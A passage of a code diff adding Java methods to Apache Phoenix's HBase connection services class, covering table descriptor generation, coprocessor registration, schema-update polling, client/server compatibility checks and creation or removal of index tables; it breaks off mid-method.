+    
+    private HTableDescriptor generateTableDescriptor(byte[] tableName, HTableDescriptor existingDesc, PTableType tableType, Map<String,Object> tableProps, List<Pair<byte[],Map<String,Object>>> families, byte[][] splits) throws SQLException {
+        String defaultFamilyName = (String)tableProps.remove(PhoenixDatabaseMetaData.DEFAULT_COLUMN_FAMILY_NAME);                
+        HTableDescriptor tableDescriptor = (existingDesc != null) ? new HTableDescriptor(existingDesc) : 
+          new HTableDescriptor(TableName.valueOf(tableName));
+        for (Entry<String,Object> entry : tableProps.entrySet()) {
+            String key = entry.getKey();
+            Object value = entry.getValue();
+            tableDescriptor.setValue(key, value == null ? null : value.toString());
+        }
+        if (families.isEmpty()) {
+            if (tableType != PTableType.VIEW) {
+                byte[] defaultFamilyByes = defaultFamilyName == null ? QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES : Bytes.toBytes(defaultFamilyName);
+                // Add dummy column family so we have key values for tables that 
+                HColumnDescriptor columnDescriptor = generateColumnFamilyDescriptor(new Pair<byte[],Map<String,Object>>(defaultFamilyByes,Collections.<String,Object>emptyMap()), tableType);
+                tableDescriptor.addFamily(columnDescriptor);
+            }
+        } else {
+            for (Pair<byte[],Map<String,Object>> family : families) {
+                // If family is only in phoenix description, add it. otherwise, modify its property accordingly.
+                byte[] familyByte = family.getFirst();
+                if (tableDescriptor.getFamily(familyByte) == null) {
+                    if (tableType == PTableType.VIEW) {
+                        String fullTableName = Bytes.toString(tableName);
+                        throw new ReadOnlyTableException(
+                                "The HBase column families for a read-only table must already exist",
+                                SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                                SchemaUtil.getTableNameFromFullName(fullTableName),
+                                Bytes.toString(familyByte));
+                    }
+                    HColumnDescriptor columnDescriptor = generateColumnFamilyDescriptor(family, tableType);
+                    tableDescriptor.addFamily(columnDescriptor);
+                } else {
+                    if (tableType != PTableType.VIEW) {
+                        modifyColumnFamilyDescriptor(tableDescriptor.getFamily(familyByte), family);
+                    }
+                }
+            }
+        }
+        addCoprocessors(tableName, tableDescriptor, tableType);
+        return tableDescriptor;
+    }
+
+    private void addCoprocessors(byte[] tableName, HTableDescriptor descriptor, PTableType tableType) throws SQLException {
+        // The phoenix jar must be available on HBase classpath
+        int priority = props.getInt(QueryServices.COPROCESSOR_PRIORITY_ATTRIB, QueryServicesOptions.DEFAULT_COPROCESSOR_PRIORITY);
+        try {
+            if (!descriptor.hasCoprocessor(ScanRegionObserver.class.getName())) {
+                descriptor.addCoprocessor(ScanRegionObserver.class.getName(), null, priority, null);
+            }
+            if (!descriptor.hasCoprocessor(UngroupedAggregateRegionObserver.class.getName())) {
+                descriptor.addCoprocessor(UngroupedAggregateRegionObserver.class.getName(), null, priority, null);
+            }
+            if (!descriptor.hasCoprocessor(GroupedAggregateRegionObserver.class.getName())) {
+                descriptor.addCoprocessor(GroupedAggregateRegionObserver.class.getName(), null, priority, null);
+            }
+            if (!descriptor.hasCoprocessor(ServerCachingEndpointImpl.class.getName())) {
+                descriptor.addCoprocessor(ServerCachingEndpointImpl.class.getName(), null, priority, null);
+            }
+            // TODO: better encapsulation for this
+            // Since indexes can't have indexes, don't install our indexing coprocessor for indexes.
+            // Also don't install on the SYSTEM.CATALOG and SYSTEM.STATS table because we use
+            // all-or-none mutate class which break when this coprocessor is installed (PHOENIX-1318).
+            if ((tableType != PTableType.INDEX && tableType != PTableType.VIEW) 
+                    && !SchemaUtil.isMetaTable(tableName)
+                    && !SchemaUtil.isStatsTable(tableName) 
+                    && !descriptor.hasCoprocessor(Indexer.class.getName())) {
+                Map<String, String> opts = Maps.newHashMapWithExpectedSize(1);
+                opts.put(CoveredColumnsIndexBuilder.CODEC_CLASS_NAME_KEY, PhoenixIndexCodec.class.getName());
+                Indexer.enableIndexing(descriptor, PhoenixIndexBuilder.class, opts, priority);
+            }
+            if (SchemaUtil.isStatsTable(tableName) && !descriptor.hasCoprocessor(MultiRowMutationEndpoint.class.getName())) {
+                descriptor.addCoprocessor(MultiRowMutationEndpoint.class.getName(),
+                        null, priority, null);
+            }
+            
+            if (descriptor.getValue(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_BYTES) != null
+                    && Boolean.TRUE.equals(PBoolean.INSTANCE.toObject(descriptor
+                            .getValue(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_BYTES)))) {
+                if (!descriptor.hasCoprocessor(IndexHalfStoreFileReaderGenerator.class.getName())) {
+                    descriptor.addCoprocessor(IndexHalfStoreFileReaderGenerator.class.getName(),
+                        null, priority, null);
+                }
+            } else {
+                if (!descriptor.hasCoprocessor(LocalIndexSplitter.class.getName())
+                        && !SchemaUtil.isMetaTable(tableName)
+                        && !SchemaUtil.isSequenceTable(tableName)) {
+                    descriptor.addCoprocessor(LocalIndexSplitter.class.getName(), null, priority, null);
+                }
+            }
+
+            // Setup split policy on Phoenix metadata table to ensure that the key values of a Phoenix table
+            // stay on the same region.
+            if (SchemaUtil.isMetaTable(tableName)) {
+                if (!descriptor.hasCoprocessor(MetaDataEndpointImpl.class.getName())) {
+                    descriptor.addCoprocessor(MetaDataEndpointImpl.class.getName(), null, priority, null);
+                }
+                if (!descriptor.hasCoprocessor(MetaDataRegionObserver.class.getName())) {
+                    descriptor.addCoprocessor(MetaDataRegionObserver.class.getName(), null, priority + 1, null);
+                }
+            } else if (SchemaUtil.isSequenceTable(tableName)) {
+                if (!descriptor.hasCoprocessor(SequenceRegionObserver.class.getName())) {
+                    descriptor.addCoprocessor(SequenceRegionObserver.class.getName(), null, priority, null);
+                }
+            }
+        } catch (IOException e) {
+            throw ServerUtil.parseServerException(e);
+        }
+    }
+
+    private void ensureFamilyCreated(byte[] tableName, PTableType tableType , Pair<byte[],Map<String,Object>> family) throws SQLException {
+        HBaseAdmin admin = null;
+        SQLException sqlE = null;
+        try {
+            admin = new HBaseAdmin(config);
+            try {
+                HTableDescriptor existingTableDesc = admin.getTableDescriptor(tableName);
+                HColumnDescriptor oldColumnDesc = existingTableDesc.getFamily(family.getFirst());
+                HColumnDescriptor newColumnDesc = null;
+
+                if (oldColumnDesc == null) {
+                    if (tableType == PTableType.VIEW) {
+                        String fullTableName = Bytes.toString(tableName);
+                        throw new ReadOnlyTableException(
+                                "The HBase column families for a VIEW must already exist",
+                                SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                                SchemaUtil.getTableNameFromFullName(fullTableName),
+                                Bytes.toString(family.getFirst()));
+                    }
+                    newColumnDesc = generateColumnFamilyDescriptor(family, tableType );
+                } else {
+                    newColumnDesc = new HColumnDescriptor(oldColumnDesc);
+                    // Don't attempt to make any metadata changes for a VIEW
+                    if (tableType == PTableType.VIEW) {
+                        return;
+                    }
+                    modifyColumnFamilyDescriptor(newColumnDesc, family);
+                }
+                
+                if (newColumnDesc.equals(oldColumnDesc)) {
+                    // Table already has family and it's the same.
+                    return;
+                }
+                addOrModifyColumnDescriptor(tableName, admin, oldColumnDesc, newColumnDesc);
+            } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.TABLE_UNDEFINED).setRootCause(e).build().buildException();
+            } catch (InterruptedException e) {
+                // restore the interrupt status
+                Thread.currentThread().interrupt();
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION).setRootCause(e).build().buildException();
+            } catch (TimeoutException e) {
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.OPERATION_TIMED_OUT).setRootCause(e.getCause() != null ? e.getCause() : e).build().buildException();
+            } 
+        } catch (IOException e) {
+            sqlE = ServerUtil.parseServerException(e);
+        } finally {
+            try {
+                if (admin != null) {
+                    admin.close();
+                }
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            } finally {
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+        }
+    }
+    
+    private void addOrModifyColumnDescriptor(byte[] tableName, HBaseAdmin admin, HColumnDescriptor oldColumnDesc,
+            HColumnDescriptor newColumnDesc) throws IOException, InterruptedException, TimeoutException {
+        boolean isOnlineSchemaUpgradeEnabled = ConnectionQueryServicesImpl.this.props.getBoolean(
+                QueryServices.ALLOW_ONLINE_TABLE_SCHEMA_UPDATE,
+                QueryServicesOptions.DEFAULT_ALLOW_ONLINE_TABLE_SCHEMA_UPDATE);
+        if (!isOnlineSchemaUpgradeEnabled) {
+            admin.disableTable(tableName);
+            if (oldColumnDesc == null) {
+                admin.addColumn(tableName, newColumnDesc);
+            } else {
+                admin.modifyColumn(tableName, newColumnDesc);
+            }
+            admin.enableTable(tableName);
+        } else {
+            if (oldColumnDesc == null) {
+                admin.addColumn(tableName, newColumnDesc);
+            } else {
+                admin.modifyColumn(tableName, newColumnDesc);
+            }
+            pollForUpdatedColumnDescriptor(admin, tableName, newColumnDesc);
+        }
+    }
+    
+    private static interface RetriableOperation {
+        boolean checkForCompletion() throws TimeoutException, IOException;
+        String getOperatioName();
+    }
+    
+    private void pollForUpdatedTableDescriptor(final HBaseAdmin admin, final HTableDescriptor newTableDescriptor,
+            final byte[] tableName) throws InterruptedException, TimeoutException {
+        checkAndRetry(new RetriableOperation() {
+
+            @Override
+            public String getOperatioName() {
+                return "UpdateOrNewTableDescriptor";
+            }
+
+            @Override
+            public boolean checkForCompletion() throws TimeoutException, IOException {
+                HTableDescriptor tableDesc = admin.getTableDescriptor(tableName);
+                return newTableDescriptor.equals(tableDesc);
+            }
+        });
+    }
+    
+    private void pollForUpdatedColumnDescriptor(final HBaseAdmin admin, final byte[] tableName,
+            final HColumnDescriptor columnFamilyDesc) throws InterruptedException, TimeoutException {
+        checkAndRetry(new RetriableOperation() {
+
+            @Override
+            public String getOperatioName() {
+                return "UpdateOrNewColumnDescriptor";
+            }
+
+            @Override
+            public boolean checkForCompletion() throws TimeoutException, IOException {
+                HTableDescriptor newTableDesc = admin.getTableDescriptor(tableName);
+                return newTableDesc.getFamilies().contains(columnFamilyDesc);
+            }
+        });
+    }
+    
+    private void checkAndRetry(RetriableOperation op) throws InterruptedException, TimeoutException {
+        int maxRetries = ConnectionQueryServicesImpl.this.props.getInt(
+                QueryServices.NUM_RETRIES_FOR_SCHEMA_UPDATE_CHECK,
+                QueryServicesOptions.DEFAULT_RETRIES_FOR_SCHEMA_UPDATE_CHECK);
+        long sleepInterval = ConnectionQueryServicesImpl.this.props
+                .getLong(QueryServices.DELAY_FOR_SCHEMA_UPDATE_CHECK,
+                        QueryServicesOptions.DEFAULT_DELAY_FOR_SCHEMA_UPDATE_CHECK);
+        boolean success = false;
+        int numTries = 1;
+        Stopwatch watch = new Stopwatch();
+        watch.start();
+        do {
+            try {
+                success = op.checkForCompletion();
+            } catch (Exception ex) {
+                // If we encounter any exception on the first or last try, propagate the exception and fail.
+                // Else, we swallow the exception and retry till we reach maxRetries.
+                if (numTries == 1 || numTries == maxRetries) {
+                    watch.stop();
+                    TimeoutException toThrow = new TimeoutException("Operation " + op.getOperatioName()
+                            + " didn't complete because of exception. Time elapsed: " + watch.elapsedMillis());
+                    toThrow.initCause(ex);
+                    throw toThrow;
+                }
+            }
+            numTries++;
+            Thread.sleep(sleepInterval);
+        } while (numTries < maxRetries && !success);
+        
+        watch.stop();
+        
+        if (!success) {
+            throw new TimeoutException("Operation  " + op.getOperatioName() + " didn't complete within "
+                    + watch.elapsedMillis() + " ms "
+                    + (numTries > 1 ? ("after retrying " + numTries + (numTries > 1 ? "times." : "time.")) : ""));
+        } else {
+            if (logger.isDebugEnabled()) {
+                logger.debug("Operation "
+                        + op.getOperatioName()
+                        + " completed within "
+                        + watch.elapsedMillis()
+                        + "ms "
+                        + (numTries > 1 ? ("after retrying " + numTries + (numTries > 1 ? "times." : "time.")) : ""));
+            }
+        }
+    }
+
+    private boolean allowOnlineTableSchemaUpdate() {
+        return props.getBoolean(
+                QueryServices.ALLOW_ONLINE_TABLE_SCHEMA_UPDATE,
+                QueryServicesOptions.DEFAULT_ALLOW_ONLINE_TABLE_SCHEMA_UPDATE);    
+    }
+    
+    /**
+     * 
+     * @param tableName
+     * @param splits
+     * @param modifyExistingMetaData TODO
+     * @return true if table was created and false if it already exists
+     * @throws SQLException
+     */
+    private HTableDescriptor ensureTableCreated(byte[] tableName, PTableType tableType , Map<String,Object> props, List<Pair<byte[],Map<String,Object>>> families, byte[][] splits, boolean modifyExistingMetaData) throws SQLException {
+        HBaseAdmin admin = null;
+        SQLException sqlE = null;
+        HTableDescriptor existingDesc = null;
+        boolean isMetaTable = SchemaUtil.isMetaTable(tableName);
+        boolean tableExist = true;
+        try {
+            logger.info("Found quorum: " + ZKConfig.getZKQuorumServersString(config));
+            admin = new HBaseAdmin(config);
+            try {
+                existingDesc = admin.getTableDescriptor(tableName);
+            } catch (org.apache.hadoop.hbase.TableNotFoundException e) {
+                tableExist = false;
+                if (tableType == PTableType.VIEW) {
+                    String fullTableName = Bytes.toString(tableName);
+                    throw new ReadOnlyTableException(
+                            "An HBase table for a VIEW must already exist",
+                            SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                            SchemaUtil.getTableNameFromFullName(fullTableName));
+                }
+            }
+
+            HTableDescriptor newDesc = generateTableDescriptor(tableName, existingDesc, tableType , props, families, splits);
+            
+            if (!tableExist) {
+                if (newDesc.getValue(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_BYTES) != null && Boolean.TRUE.equals(
+                    PBoolean.INSTANCE.toObject(newDesc.getValue(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_BYTES)))) {
+                    newDesc.setValue(HTableDescriptor.SPLIT_POLICY, IndexRegionSplitPolicy.class.getName());
+                }
+                // Remove the splitPolicy attribute to prevent HBASE-12570
+                if (isMetaTable) {
+                    newDesc.remove(HTableDescriptor.SPLIT_POLICY);
+                }
+                try {
+                    if (splits == null) {
+                        admin.createTable(newDesc);
+                    } else {
+                        admin.createTable(newDesc, splits);
+                    }
+                } catch (TableExistsException e) {
+                    // We can ignore this, as it just means that another client beat us
+                    // to creating the HBase metadata.
+                    return null;
+                }
+                if (isMetaTable) {
+                    checkClientServerCompatibility();
+                    /*
+                     * Now we modify the table to add the split policy, since we know that the client and
+                     * server and compatible. This works around HBASE-12570 which causes the cluster to be
+                     * brought down.
+                     */
+                    newDesc.setValue(HTableDescriptor.SPLIT_POLICY, MetaDataSplitPolicy.class.getName());
+                    if (allowOnlineTableSchemaUpdate()) {
+                        // No need to wait/poll for this update
+                        admin.modifyTable(tableName, newDesc);
+                    } else {
+                        admin.disableTable(tableName);
+                        admin.modifyTable(tableName, newDesc);
+                        admin.enableTable(tableName);
+                    }
+                }
+                return null;
+            } else {
+                if (isMetaTable) {
+                    checkClientServerCompatibility();
+                }
+                         
+                if (!modifyExistingMetaData || existingDesc.equals(newDesc)) {
+                    return existingDesc;
+                }
+
+                modifyTable(tableName, newDesc);
+                return newDesc;
+            }
+
+        } catch (IOException e) {
+            sqlE = ServerUtil.parseServerException(e);
+        } catch (InterruptedException e) {
+            // restore the interrupt status
+            Thread.currentThread().interrupt();
+            sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION).setRootCause(e).build().buildException();
+        } catch (TimeoutException e) {
+            sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.OPERATION_TIMED_OUT).setRootCause(e.getCause() != null ? e.getCause() : e).build().buildException();
+        } finally {
+            try {
+                if (admin != null) {
+                    admin.close();
+                }
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            } finally {
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+        }
+        return null; // will never make it here
+    }
+    
+    @Override
+    public void modifyTable(byte[] tableName, HTableDescriptor newDesc) throws IOException,
+            InterruptedException, TimeoutException {
+    	HBaseAdmin admin = new HBaseAdmin(config);
+        if (!allowOnlineTableSchemaUpdate()) {
+            admin.disableTable(tableName);
+            admin.modifyTable(tableName, newDesc);
+            admin.enableTable(tableName);
+        } else {
+            admin.modifyTable(tableName, newDesc);
+            pollForUpdatedTableDescriptor(admin, newDesc, tableName);
+        }
+    }
+
+    private static boolean isInvalidMutableIndexConfig(Long serverVersion) {
+        if (serverVersion == null) {
+            return false;
+        }
+        return !MetaDataUtil.decodeMutableIndexConfiguredProperly(serverVersion);
+    }
+    
+    private static boolean isCompatible(Long serverVersion) {
+        if (serverVersion == null) {
+            return false;
+        }
+        return MetaDataUtil.areClientAndServerCompatible(serverVersion);
+    }
+
+    private void checkClientServerCompatibility() throws SQLException {
+        StringBuilder buf = new StringBuilder("The following servers require an updated " + QueryConstants.DEFAULT_COPROCESS_PATH + " to be put in the classpath of HBase: ");
+        boolean isIncompatible = false;
+        int minHBaseVersion = Integer.MAX_VALUE;
+        try {
+            List<HRegionLocation> locations = this.getAllTableRegions(SYSTEM_CATALOG_NAME_BYTES);
+            Set<HRegionLocation> serverMap = Sets.newHashSetWithExpectedSize(locations.size());
+            TreeMap<byte[], HRegionLocation> regionMap = Maps.newTreeMap(Bytes.BYTES_COMPARATOR);
+            List<byte[]> regionKeys = Lists.newArrayListWithExpectedSize(locations.size());
+            for (HRegionLocation entry : locations) {
+                if (!serverMap.contains(entry)) {
+                    regionKeys.add(entry.getRegionInfo().getStartKey());
+                    regionMap.put(entry.getRegionInfo().getRegionName(), entry);
+                    serverMap.add(entry);
+                }
+            }
+
+            HTableInterface ht = this.getTable(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES);
+            final Map<byte[], Long> results =
+                    ht.coprocessorService(MetaDataService.class, null, null, new Batch.Call<MetaDataService,Long>() {
+                        @Override
+                        public Long call(MetaDataService instance) throws IOException {
+                            ServerRpcController controller = new ServerRpcController();
+                            BlockingRpcCallback<GetVersionResponse> rpcCallback =
+                                    new BlockingRpcCallback<GetVersionResponse>();
+                            GetVersionRequest.Builder builder = GetVersionRequest.newBuilder();
+                            
+                            instance.getVersion(controller, builder.build(), rpcCallback);
+                            if(controller.getFailedOn() != null) {
+                                throw controller.getFailedOn();
+                            }
+                            return rpcCallback.get().getVersion();
+                        }
+                    });
+            for (Map.Entry<byte[],Long> result : results.entrySet()) {
+                // This is the "phoenix.jar" is in-place, but server is out-of-sync with client case.
+                if (!isCompatible(result.getValue())) {
+                    isIncompatible = true;
+                    HRegionLocation name = regionMap.get(result.getKey());
+                    buf.append(name);
+                    buf.append(';');
+                }
+                hasInvalidIndexConfiguration |= isInvalidMutableIndexConfig(result.getValue());
+                if (minHBaseVersion > MetaDataUtil.decodeHBaseVersion(result.getValue())) {
+                    minHBaseVersion = MetaDataUtil.decodeHBaseVersion(result.getValue());
+                }
+            }
+            lowestClusterHBaseVersion = minHBaseVersion;
+        } catch (SQLException e) {
+            throw e;
+        } catch (Throwable t) {
+            // This is the case if the "phoenix.jar" is not on the classpath of HBase on the region server
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.INCOMPATIBLE_CLIENT_SERVER_JAR).setRootCause(t)
+                .setMessage("Ensure that " + QueryConstants.DEFAULT_COPROCESS_PATH + " is put on the classpath of HBase in every region server: " + t.getMessage())
+                .build().buildException();
+        }
+        if (isIncompatible) {
+            buf.setLength(buf.length()-1);
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.OUTDATED_JARS).setMessage(buf.toString()).build().buildException();
+        }
+    }
+
+    /**
+     * Invoke meta data coprocessor with one retry if the key was found to not be in the regions
+     * (due to a table split)
+     */
+    private MetaDataMutationResult metaDataCoprocessorExec(byte[] tableKey,
+            Batch.Call<MetaDataService, MetaDataResponse> callable) throws SQLException {
+        try {
+            boolean retried = false;
+            while (true) {
+                if (retried) {
+                    connection.relocateRegion(
+                        TableName.valueOf(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES),
+                        tableKey);
+                }
+
+                HTableInterface ht = this.getTable(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES);
+                try {
+                    final Map<byte[], MetaDataResponse> results =
+                            ht.coprocessorService(MetaDataService.class, tableKey, tableKey, callable);
+
+                    assert(results.size() == 1);
+                    MetaDataResponse result = results.values().iterator().next();
+                    if (result.getReturnCode() == MetaDataProtos.MutationCode.TABLE_NOT_IN_REGION) {
+                        if (retried) return MetaDataMutationResult.constructFromProto(result);
+                        retried = true;
+                        continue;
+                    }
+                    return MetaDataMutationResult.constructFromProto(result);
+                } finally {
+                    Closeables.closeQuietly(ht);
+                }
+            }
+        } catch (IOException e) {
+            throw ServerUtil.parseServerException(e);
+        } catch (Throwable t) {
+            throw new SQLException(t);
+        }
+    }
+    
+    // Our property values are translated using toString, so we need to "string-ify" this.
+    private static final String TRUE_BYTES_AS_STRING = Bytes.toString(PDataType.TRUE_BYTES);
+
+    private void ensureViewIndexTableCreated(byte[] physicalTableName, Map<String,Object> tableProps, List<Pair<byte[],Map<String,Object>>> families, byte[][] splits, long timestamp) throws SQLException {
+        Long maxFileSize = (Long)tableProps.get(HTableDescriptor.MAX_FILESIZE);
+        if (maxFileSize == null) {
+            maxFileSize = this.config.getLong(HConstants.HREGION_MAX_FILESIZE, HConstants.DEFAULT_MAX_FILE_SIZE);
+        }
+        byte[] physicalIndexName = MetaDataUtil.getViewIndexPhysicalName(physicalTableName);
+        
+        int indexMaxFileSizePerc;
+        // Get percentage to use from table props first and then fallback to config
+        Integer indexMaxFileSizePercProp = (Integer)tableProps.remove(QueryServices.INDEX_MAX_FILESIZE_PERC_ATTRIB);
+        if (indexMaxFileSizePercProp == null) {
+            indexMaxFileSizePerc = config.getInt(QueryServices.INDEX_MAX_FILESIZE_PERC_ATTRIB, QueryServicesOptions.DEFAULT_INDEX_MAX_FILESIZE_PERC);
+        } else {
+            indexMaxFileSizePerc = indexMaxFileSizePercProp;
+        }
+        long indexMaxFileSize = maxFileSize * indexMaxFileSizePerc / 100;
+        tableProps.put(HTableDescriptor.MAX_FILESIZE, indexMaxFileSize);
+        tableProps.put(MetaDataUtil.IS_VIEW_INDEX_TABLE_PROP_NAME, TRUE_BYTES_AS_STRING);
+        HTableDescriptor desc = ensureTableCreated(physicalIndexName, PTableType.TABLE, tableProps, families, splits, false);
+        if (desc != null) {
+            if (!Boolean.TRUE.equals(PBoolean.INSTANCE.toObject(desc.getValue(MetaDataUtil.IS_VIEW_INDEX_TABLE_PROP_BYTES)))) {
+                String fullTableName = Bytes.toString(physicalIndexName);
+                throw new TableAlreadyExistsException(
+                        "Unable to create shared physical table for indexes on views.",
+                        SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                        SchemaUtil.getTableNameFromFullName(fullTableName));
+            }
+        }
+    }
+
+    private void ensureLocalIndexTableCreated(byte[] physicalTableName, Map<String,Object> tableProps, List<Pair<byte[],Map<String,Object>>> families, byte[][] splits, long timestamp) throws SQLException {
+        PTable table;
+        String parentTableName = Bytes.toString(physicalTableName, MetaDataUtil.LOCAL_INDEX_TABLE_PREFIX_BYTES.length, 
+            physicalTableName.length - MetaDataUtil.LOCAL_INDEX_TABLE_PREFIX_BYTES.length);
+        try {
+            synchronized (latestMetaDataLock) {
+                throwConnectionClosedIfNullMetaData();
+                table = latestMetaData.getTable(new PTableKey(PName.EMPTY_NAME, parentTableName));
+                latestMetaDataLock.notifyAll();
+            }
+            if (table.getTimeStamp() >= timestamp) { // Table in cache is newer than client timestamp which shouldn't be the case
+                throw new TableNotFoundException(table.getSchemaName().getString(), table.getTableName().getString());
+            }
+        } catch (TableNotFoundException e) {
+            byte[] schemaName = Bytes.toBytes(SchemaUtil.getSchemaNameFromFullName(parentTableName));
+            byte[] tableName = Bytes.toBytes(SchemaUtil.getTableNameFromFullName(parentTableName));
+            MetaDataMutationResult result = this.getTable(null, schemaName, tableName, HConstants.LATEST_TIMESTAMP, timestamp);
+            table = result.getTable();
+            if (table == null) {
+                throw e;
+            }
+        }
+        ensureLocalIndexTableCreated(physicalTableName, tableProps, families, splits);
+    }
+
+    private void ensureLocalIndexTableCreated(byte[] physicalTableName, Map<String, Object> tableProps, List<Pair<byte[], Map<String, Object>>> families, byte[][] splits) throws SQLException, TableAlreadyExistsException {
+        tableProps.put(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_NAME, TRUE_BYTES_AS_STRING);
+        HTableDescriptor desc = ensureTableCreated(physicalTableName, PTableType.TABLE, tableProps, families, splits, true);
+        if (desc != null) {
+            if (!Boolean.TRUE.equals(PBoolean.INSTANCE.toObject(desc.getValue(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_BYTES)))) {
+                String fullTableName = Bytes.toString(physicalTableName);
+                throw new TableAlreadyExistsException(
+                        "Unable to create shared physical table for local indexes.",
+                        SchemaUtil.getSchemaNameFromFullName(fullTableName),
+                        SchemaUtil.getTableNameFromFullName(fullTableName));
+            }
+        }
+    }
+
+    private boolean ensureViewIndexTableDropped(byte[] physicalTableName, long timestamp) throws SQLException {
+        byte[] physicalIndexName = MetaDataUtil.getViewIndexPhysicalName(physicalTableName);
+        HTableDescriptor desc = null;
+        HBaseAdmin admin = null;
+        boolean wasDeleted = false;
+        try {
+            admin = new HBaseAdmin(config);
+            try {
+                desc = admin.getTableDescriptor(physicalIndexName);
+                if (Boolean.TRUE.equals(PBoolean.INSTANCE.toObject(desc.getValue(MetaDataUtil.IS_VIEW_INDEX_TABLE_PROP_BYTES)))) {
+                    this.tableStatsCache.invalidate(new ImmutableBytesPtr(physicalIndexName));
+                    final ReadOnlyProps props = this.getProps();
+                    final boolean dropMetadata = props.getBoolean(DROP_METADATA_ATTRIB, DEFAULT_DROP_METADATA);
+                    if (dropMetadata) {
+                        admin.disableTable(physicalIndexName);
+                        admin.deleteTable(physicalIndexName);
+                        clearTableRegionCache(physicalIndexName);
+                        wasDeleted = true;
+                    }
+                }
+            } catch (org.apache.hadoop.hbase.TableNotFoundException ignore) {
+                // Ignore, as we may never have created a view index table
+            }
+        } catch (IOException e) {
+            throw ServerUtil.parseServerException(e); 
+        } finally {
+            try {
+                if (admin != null) admin.close();
+            } catch (IOException e) {
+                logger.warn("",e);
+            }
+        }
+        return wasDeleted;
+    }
+
+    private boolean ensureLocalIndexTableDropped(byte[] physicalTableName, long timestamp) throws SQLException {
+        byte[] physicalIndexName = MetaDataUtil.getLocalIndexPhysicalName(physicalTableName);
+        HTableDescriptor desc = null;
+        HBaseAdmin admin = null;
+        boolean wasDeleted = false;
+        try {
+            admin = new HBaseAdmin(config);
+            try {
+                desc = admin.getTableDescriptor(physicalIndexName);
+                if (Boolean.TRUE.equals(PBoolean.INSTANCE.toObject(desc.getValue(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_BYTES)))) {
+                    this.tableStatsCache.invalidate(new ImmutableBytesPtr(physicalIndexName));
+                    final ReadOnlyProps props = this.getProps();
+                    final boolean dropMetadata = props.getBoolean(DROP_METADATA_ATTRIB, DEFAULT_DROP_METADATA);
+                    if (dropMetadata) {
+                        admin.disableTable(physicalIndexName);
+                        admin.deleteTable(physicalIndexName);
+                        clearTableRegionCache(physicalIndexName);
+                        wasDeleted = true;
+                    }
+                }
+            } catch (org.apache.hadoop.hbase.TableNotFoundException ignore) {
+                // Ignore, as we may never have created a view index table
+            }
+        } catch (IOException e) {
+            throw ServerUtil.parseServerException(e); 
+        } finally {
+            try {
+                if (admin != null) admin.close();
+            } catch (IOException e) {
+                logger.warn("",e);
+            }
+        }
+        return wasDeleted;
+    }
+
+    @Override
+    public MetaDataMutationResult createTable(final List<Mutation> tableMetaData, byte[] physicalTableName, PTableType tableType,
+            Map<String,Object> tableProps, final List<Pair<byte[],Map<String,Object>>> families, byte[][] splits) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        Mutation m = MetaDataUtil.getPutOnlyTableHeaderRow(tableMetaData);
+        byte[] key = m.getRow();
+        SchemaUtil.getVarChars(key, rowKeyMetadata);
+        byte[] tenantIdBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableName = physicalTableName != null ? physicalTableName : SchemaUtil.getTableNameAsBytes(schemaBytes, tableBytes);
+        boolean localIndexTable = Boolean.TRUE.equals(tableProps.remove(MetaDataUtil.IS_LOCAL_INDEX_TABLE_PROP_NAME));
+
+        if ((tableType == PTableType.VIEW && physicalTableName != null) || (tableType != PTableType.VIEW && physicalTableName == null)) {
+            // For views this will ensure that metadata already exists
+            // For tables and indexes, this will create the metadata if it doesn't already exist
+            ensureTableCreated(tableName, tableType, tableProps, families, splits, true);
+        }
+        ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+        if (tableType == PTableType.INDEX) { // Index on view
+            // Physical index table created up front for multi tenant
+            // TODO: if viewIndexId is Short.MIN_VALUE, then we don't need to attempt to create it
+            if (physicalTableName != null && !MetaDataUtil.isMultiTenant(m, kvBuilder, ptr)) {
+                if (localIndexTable) {
+                    ensureLocalIndexTableCreated(tableName, tableProps, families, splits, MetaDataUtil.getClientTimeStamp(m));
+                } else {
+                    ensureViewIndexTableCreated(tenantIdBytes.length == 0 ? null : PNameFactory.newName(tenantIdBytes), physicalTableName, MetaDataUtil.getClientTimeStamp(m));
+                }
+            }
+        } else if (tableType == PTableType.TABLE && MetaDataUtil.isMultiTenant(m, kvBuilder, ptr)) { // Create view index table up front for multi tenant tables
+            ptr.set(QueryConstants.DEFAULT_COLUMN_FAMILY_BYTES);
